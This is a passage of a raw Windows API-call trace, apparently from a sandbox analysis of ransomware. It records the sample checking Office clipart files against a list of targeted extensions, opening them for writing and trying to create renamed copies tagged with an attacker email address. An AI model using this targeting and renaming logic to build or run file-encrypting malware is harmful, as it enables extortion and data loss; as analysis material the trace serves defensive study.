lstrlenW (lpString=".7z") returned 3 [0252.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0252.611] lstrlenW (lpString=".dbf") returned 4 [0252.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0252.611] lstrlenW (lpString=".1cd") returned 4 [0252.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0252.611] lstrlenW (lpString=".jpg") returned 4 [0252.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0252.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0252.611] lstrlenW (lpString=".doc") returned 4 [0252.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.611] lstrlenW (lpString=".docx") returned 5 [0252.611] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0252.611] lstrlenW (lpString=".pdf") returned 4 [0252.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.611] lstrlenW (lpString=".xls") returned 4 [0252.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.611] lstrlenW (lpString=".xlsx") returned 5 [0252.611] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0252.611] lstrlenW (lpString=".ppt") returned 4 [0252.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0252.611] lstrlenW (lpString=".zip") returned 4 [0252.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.612] lstrlenW (lpString=".rar") returned 4 [0252.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.612] lstrlenW (lpString=".bz2") returned 4 [0252.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.612] lstrlenW (lpString=".7z") returned 3 [0252.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0252.612] lstrlenW (lpString=".dbf") returned 4 [0252.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0252.612] lstrlenW (lpString=".1cd") returned 4 [0252.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0252.612] lstrlenW (lpString=".jpg") returned 4 [0252.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.612] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0252.612] lstrlenW (lpString="J0213449.WMF") returned 12 [0252.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0253.122] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=3840) returned 1 [0253.122] CloseHandle (hObject=0x11d0) returned 1 [0253.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf")) returned 0x220 [0253.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0253.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0253.123] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.123] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.123] CloseHandle (hObject=0x11d0) returned 1 [0253.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0253.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0253.123] lstrlenW (lpString=".doc") returned 4 [0253.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.123] lstrlenW (lpString=".docx") returned 5 [0253.124] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0253.124] lstrlenW (lpString=".pdf") returned 4 [0253.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.124] lstrlenW (lpString=".xls") returned 4 [0253.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.124] lstrlenW (lpString=".xlsx") returned 5 [0253.124] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0253.124] lstrlenW (lpString=".ppt") returned 4 [0253.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0253.124] lstrlenW (lpString=".zip") returned 4 [0253.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.124] lstrlenW (lpString=".rar") returned 4 [0253.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.124] lstrlenW (lpString=".bz2") returned 4 [0253.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.124] lstrlenW (lpString=".7z") returned 3 [0253.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0253.124] lstrlenW (lpString=".dbf") returned 4 [0253.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0253.124] lstrlenW (lpString=".1cd") returned 4 [0253.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0253.124] lstrlenW (lpString=".jpg") returned 4 [0253.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0253.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0253.125] lstrlenW (lpString=".doc") returned 4 [0253.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.125] lstrlenW (lpString=".docx") returned 5 [0253.125] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0253.125] lstrlenW (lpString=".pdf") returned 4 [0253.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.125] lstrlenW (lpString=".xls") returned 4 [0253.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.125] lstrlenW (lpString=".xlsx") returned 5 [0253.125] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0253.125] lstrlenW (lpString=".ppt") returned 4 [0253.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0253.125] lstrlenW (lpString=".zip") returned 4 [0253.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.125] lstrlenW (lpString=".rar") returned 4 [0253.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.125] lstrlenW (lpString=".bz2") returned 4 [0253.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.125] lstrlenW (lpString=".7z") returned 3 [0253.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0253.126] lstrlenW (lpString=".dbf") returned 4 [0253.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0253.126] lstrlenW (lpString=".1cd") returned 4 [0253.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0253.126] lstrlenW (lpString=".jpg") returned 4 [0253.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.126] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0253.126] lstrlenW (lpString="J0237228.WMF") returned 12 [0253.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0253.127] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=22272) returned 1 [0253.127] CloseHandle (hObject=0x11d0) returned 1 [0253.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf")) returned 0x220 [0253.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0253.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0253.128] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.128] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.128] CloseHandle (hObject=0x11d0) returned 1 [0253.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0253.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0253.128] lstrlenW (lpString=".doc") returned 4 [0253.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.128] lstrlenW (lpString=".docx") returned 5 [0253.128] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0253.128] lstrlenW (lpString=".pdf") returned 4 [0253.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.129] lstrlenW (lpString=".xls") returned 4 [0253.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.129] lstrlenW (lpString=".xlsx") returned 5 [0253.129] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0253.129] lstrlenW (lpString=".ppt") returned 4 [0253.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0253.129] lstrlenW (lpString=".zip") returned 4 [0253.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.129] lstrlenW (lpString=".rar") returned 4 [0253.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.129] lstrlenW (lpString=".bz2") returned 4 [0253.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.129] lstrlenW (lpString=".7z") returned 3 [0253.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0253.129] lstrlenW (lpString=".dbf") returned 4 [0253.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0253.129] lstrlenW (lpString=".1cd") returned 4 [0253.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0253.129] lstrlenW (lpString=".jpg") returned 4 [0253.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0253.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0253.130] lstrlenW (lpString=".doc") returned 4 [0253.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.130] lstrlenW (lpString=".docx") returned 5 [0253.130] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0253.130] lstrlenW (lpString=".pdf") returned 4 [0253.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.130] lstrlenW (lpString=".xls") returned 4 [0253.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.130] lstrlenW (lpString=".xlsx") returned 5 [0253.130] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0253.130] lstrlenW (lpString=".ppt") returned 4 [0253.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0253.130] lstrlenW (lpString=".zip") returned 4 [0253.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.130] lstrlenW (lpString=".rar") returned 4 [0253.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.130] lstrlenW (lpString=".bz2") returned 4 [0253.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.130] lstrlenW (lpString=".7z") returned 3 [0253.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0253.130] lstrlenW (lpString=".dbf") returned 4 [0253.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0253.131] lstrlenW (lpString=".1cd") returned 4 [0253.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0253.131] lstrlenW (lpString=".jpg") returned 4 [0253.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.131] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0253.131] lstrlenW (lpString="J0237336.WMF") returned 12 [0253.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0253.132] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=24770) returned 1 [0253.132] CloseHandle (hObject=0x11d0) returned 1 [0253.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf")) returned 0x220 [0253.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0253.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0253.133] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.133] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.134] CloseHandle (hObject=0x11d0) returned 1 [0253.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0253.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0253.134] lstrlenW (lpString=".doc") returned 4 [0253.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.134] lstrlenW (lpString=".docx") returned 5 [0253.134] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0253.134] lstrlenW (lpString=".pdf") returned 4 [0253.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.134] lstrlenW (lpString=".xls") returned 4 [0253.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.134] lstrlenW (lpString=".xlsx") returned 5 [0253.134] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0253.134] lstrlenW (lpString=".ppt") returned 4 [0253.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0253.134] lstrlenW (lpString=".zip") returned 4 [0253.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.134] lstrlenW (lpString=".rar") returned 4 [0253.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.134] lstrlenW (lpString=".bz2") returned 4 [0253.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.134] lstrlenW (lpString=".7z") returned 3 [0253.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0253.135] lstrlenW (lpString=".dbf") returned 4 [0253.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0253.135] lstrlenW (lpString=".1cd") returned 4 [0253.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0253.135] lstrlenW (lpString=".jpg") returned 4 [0253.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0253.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0253.135] lstrlenW (lpString=".doc") returned 4 [0253.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.135] lstrlenW (lpString=".docx") returned 5 [0253.135] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0253.135] lstrlenW (lpString=".pdf") returned 4 [0253.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.135] lstrlenW (lpString=".xls") returned 4 [0253.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.135] lstrlenW (lpString=".xlsx") returned 5 [0253.135] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0253.135] lstrlenW (lpString=".ppt") returned 4 [0253.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0253.136] lstrlenW (lpString=".zip") returned 4 [0253.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.136] lstrlenW (lpString=".rar") returned 4 [0253.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.136] lstrlenW (lpString=".bz2") returned 4 [0253.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.136] lstrlenW (lpString=".7z") returned 3 [0253.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0253.136] lstrlenW (lpString=".dbf") returned 4 [0253.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0253.136] lstrlenW (lpString=".1cd") returned 4 [0253.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0253.136] lstrlenW (lpString=".jpg") returned 4 [0253.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.136] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0253.136] lstrlenW (lpString="J0237759.WMF") returned 12 [0253.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0253.138] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=20926) returned 1 [0253.138] CloseHandle (hObject=0x11d0) returned 1 [0253.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf")) returned 0x220 [0253.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0253.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0253.139] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.139] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.139] CloseHandle (hObject=0x11d0) returned 1 [0253.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0253.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0253.140] lstrlenW (lpString=".doc") returned 4 [0253.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.140] lstrlenW (lpString=".docx") returned 5 [0253.140] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0253.140] lstrlenW (lpString=".pdf") returned 4 [0253.140] lstrcmpiW (lpString1=".pdf", 